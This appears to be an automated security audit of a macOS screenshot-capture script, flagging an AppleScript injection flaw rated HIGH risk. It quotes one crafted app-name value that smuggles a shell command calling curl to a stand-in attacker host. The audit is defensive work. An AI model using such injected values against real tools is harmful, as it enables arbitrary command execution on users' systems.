macos-screenshot-capture

Fail

Audited by Gen Agent Trust Hub on Jul 10, 2026

Risk Level: HIGHCOMMAND_EXECUTION
Full Analysis
  • [COMMAND_EXECUTION]: The activate_app function in scripts/capture_macos_screenshot.py is vulnerable to AppleScript injection. It uses an f-string to insert the --app (app_name) argument directly into a string executed by osascript. Because double quotes are not escaped, a crafted application name such as Finder" to do shell script "curl http://attacker.com/pwned" -- could be used to execute arbitrary shell commands.
  • [COMMAND_EXECUTION]: The script performs dynamic code execution by generating a Swift program at runtime. It writes a hardcoded Swift source string to a temporary file and executes it via subprocess.run(['swift', ...]) to retrieve window metadata from the macOS CoreGraphics API.
  • [COMMAND_EXECUTION]: The script executes multiple system-level utilities including screencapture, osascript, and swift using the subprocess module. While the command arguments are passed as a list, the logical injection within the AppleScript content bypasses standard subprocess protections.
Recommendations
  • AI detected serious security threats
Audit Metadata
Risk Level
HIGH
Analyzed
Jul 10, 2026, 09:03 AM
Security Audit — agent-trust-hub — macos-screenshot-capture